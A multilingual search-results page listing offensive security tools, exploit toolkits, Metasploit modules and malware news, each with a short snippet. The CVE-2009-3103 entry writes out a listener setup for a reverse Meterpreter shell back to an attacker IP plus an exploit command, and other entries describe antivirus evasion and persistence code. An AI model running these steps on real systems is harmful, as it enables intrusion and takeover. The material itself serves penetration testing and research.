29 matches found
payloadgenerator
PGen PGenは、Metasploitフレームワークの一部であるMSFvenomを介して最も一般的なMeterpreterペイロードを生成するためにBashで書かれたツールです。 概要...
kwetza
はじめに Chris Le Roy（@brompwnie）[email protected] 作 Kwetza は、既存の Android アプリケーションに Meterpreter ペイロードを感染させることを可能にするツールです。 機能 Kwetza は、カスタムまたはデフォルトのペイロードテンプレートを使用して既存の Android アプリケーションに感染させ、アンチウイルスによる検出を回避します。Kwetza を使用すると、ターゲットアプリケーションのデフォルト権限を使用して Android...
Shellcode-Injection-Techniques
Shellcode Injection Techniques Cで書かれたシェルコードインジェクション手法のコレクションです。すべての手法はAES暗号化されたメータプリターのペイロードを使用します。 学習、発見、または開発するにつれて、このプロジェクトを拡張していく予定です。 注: このプロジェクトはそのまま使用することを意図していません。いずれかの手法を使用する場合、選択した手法でより小さくカスタマイズされたプロジェクトを作成すれば、AVをバイパスできる可能性が高まります。 これらのリポジトリ内のコードを使用する場合は、法令を遵守してください！ Assembly Injection...
CVE-2017-8759
エクスプロイトツールキット CVE-2017-8759 - v1.0 エクスプロイトツールキット CVE-2017-8759 - v1.0 は、ペンテスターやセキュリティ研究者が Microsoft .NET Framework RCE を迅速かつ効果的にテストするための便利な Python スクリプトです。複雑な設定なしに、悪意のある RTF ファイルを生成し、Metasploit / Meterpreter / その他のペイロードを被害者に配信できます。 免責事項 このプログラムは教育目的のみに使用してください。許可なく使用しないでください。通常の免責事項が適用されます。特に、私...
foolav
foolav Executable compiled with this code is useful during penetration tests where there is a need to execute some payload meterpreter maybe? while being certain that it will not be detected by antivirus software. The only requirement is to be able to upload two files: binary executable and paylo...
Monitor
项目说明 用于实现后渗透测试阶段权限维持 项目使用 Step1 ：下载该项目，之后使用VS编译Monitor.cpp，当然也可以使用编译好的，Monitor.cpp代码如下所示： include "Windows.h" int main MONITORINFO2 monitorInfo; TCHAR env12 = TEXT"Windows x64"; TCHAR name12 = TEXT"Monitor"; TCHAR dll12 = TEXT"test.dll"; monitorInfo.pName = name; monitorInfo.pEnvironment = env;...
CVE-2017-0199
エクスプロイトツールキット CVE-2017-0199 エクスプロイトツールキット CVE-2017-0199 は便利なPythonスクリプトであり、ペネトレーションテスターやセキュリティ研究者に、Microsoft Office RCEを迅速かつ効果的にテストする方法を提供します。複雑な設定なしに、悪意のあるRTF/PPSXファイルを生成し、metasploit / meterpreter / その他のペイロードを被害者に配信できます。このスクリプトはPython 3で動作するように修正されています。...
CVE-2009-3103
CVE-2009-3103 SMBの脆弱性を確認 nmap --script smb-vuln -p139,445 IP-TARGET リスナーを設定 sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run エクスプロイトを実行 python3 exploit.py IP-TARGET YOUR-KALI-IP 80 windows/meterpreter/reversetcp...
penetration-testing-windows10
Vulnerability Analysis and Penetration Testing Using Metasploi...
Exploit for CVE-2017-0144
EternalBlue-DoublePulsar-Exploit-Demonstration Cybersecurity l...
📄 sudo 1.9.17 chroot Privilege Escalation
This Metasploit module exploits CVE-2025-32463, a local privilege escalation vulnerability in Sudo's chroot functionality. The vulnerability allows attackers to load malicious NSS Name Service Switch modules from within a chroot environment, leading to arbitrary code execution as root...
📄 ChurchCRM 6.8.0 Unauthenticated Remote Code Execution
This Metasploit module exploits an unauthenticated remote code execution vulnerability in the installation process of ChurchCRM versions 6.8.0 and earlier. By sending a specially crafted POST request to the setup page, an attacker can execute arbitrary commands on the target server. This Metasplo...
Zyxel IKE Packet Decoder - Unauthenticated Remote Code Execution (Metasploit)
Exploit Title: Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution Date: 2023-03-31 Exploit Author: sf Vendor Homepage: https://www.zyxel.com/ Software Link: https://www.zyxel.com/ Version: ATP Firmware version 4.60 to 5.35 inclusive, USG FLEX Firmware version 4.60 to 5.35 inclusive, V...
Researchers Uncover Obfuscated Malicious Code in PyPI Python Packages
Four different rogue packages in the Python Package Index PyPI have been found to carry out a number of malicious actions, including dropping malware, deleting the netstat utility, and manipulating the SSH authorizedkeys file. The packages in question are aptx, bingchilling2, httops, and tkint3rs...
Blind Eagle Hackers Return with Refined Tools and Sophisticated Infection Chain
A financially motivated threat actor tracked as Blind Eagle has resurfaced with a refined toolset and an elaborate infection chain as part of its attacks targeting organizations in Colombia and Ecuador. Check Point's latest research offers new insights into the Spanish-speaking group's tactics an...
Safari Webkit For iOS 7.1.2 JIT Optimization Bug Exploit
This Metasploit module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit CVE-2016-4669 that obtains kernel rw, obtains root and disables code signing. Finally we...
Safari Webkit Proxy Object Type Confusion
This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Safari Webkit Proxy Object Type Confusion', 'Description' = %q This module exploits a type confusion bug in the Javascript Proxy object in WebKit...
TAU Threat Intelligence Notification: Java Embedded MSI Files
Summary Application whitelisting provides environments with access controls to stop unauthorized software from executing. This is accomplished by utilizing file and folder attributes including but not limited to file path, filename, digital signature, publisher, cryptographic hash and product nam...
Safari Webkit Proxy Object Type Confusion
This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e....